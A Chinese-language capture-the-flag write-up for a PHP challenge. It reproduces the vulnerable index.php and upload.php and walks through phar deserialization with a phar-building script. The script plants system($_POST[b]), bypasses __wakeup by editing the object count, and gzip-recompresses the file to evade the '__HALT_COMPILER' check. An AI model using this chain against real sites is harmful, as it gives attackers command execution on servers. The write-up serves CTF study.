这题有点不好
可以直接包含根目录下的flag文件得到flag
但是正常做应该是这样的
POC
分析
首先我们需要包含以下index.php和upload.php来获取源码
源码如下
###### index.php
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
echo file_get_contents($file);
}
###### upload.php
if ($_FILES["file"]["error"] > 0) {
echo "上传异常";
} else {
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))) {
$content = file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if (gettype($pos) === "integer") {
echo "ltj一眼就发现了phar";
} else {
if (file_exists("./upload/" . $_FILES["file"]["name"])) {
echo $_FILES["file"]["name"] . " 文件已经存在";
} else {
$myfile = fopen("./upload/" . $_FILES["file"]["name"], "w");
fwrite($myfile, $content);
fclose($myfile);
echo "上传成功 ./upload/" . $_FILES["file"]["name"];
}
}
} else {
echo "dky不喜欢这个文件 ." . $extension;
}
}
这道题的文件上传部分为白名单机制,无法直接上传木马,因为不知道暂存文件的名字,所以使用暂存文件的方法也不行
往下看其实有个提示,就是phar,虽然他检测了phar的特征值__HALT_COMPILER();
,但是我们可以绕过呀,phar伪协议可以自动解压缩压缩包,而压缩过后的文件自然而然就没有什么特征值了。所以就这么干!
先补充原理
也就是利用phar伪协议的反序列化能力来实现无unserialize反序列化的
以及用的上的脚本
phar生成脚本.phpphar_gzip压缩及重新打包脚本.py
EXP
首先构造出这样的phar构造脚本
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
}
$o = new LoveNss();
$o->cmd="system(\$_POST[b]);";
$o->ljt="Misc";
$o->dky="Re";
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
注意$o→cmd不能等于"\$_POST[b];"
,因为会不生效,不知道为啥,反正我在这个坑里埋汰了好久
然后用010editor或者winhex修改里面的metadata的序列化值中的参数数量,加一就可以绕过__wakeup魔术函数
然后再用那个python脚本重新生成签名并且压缩隐藏特征值即可
OVER!!!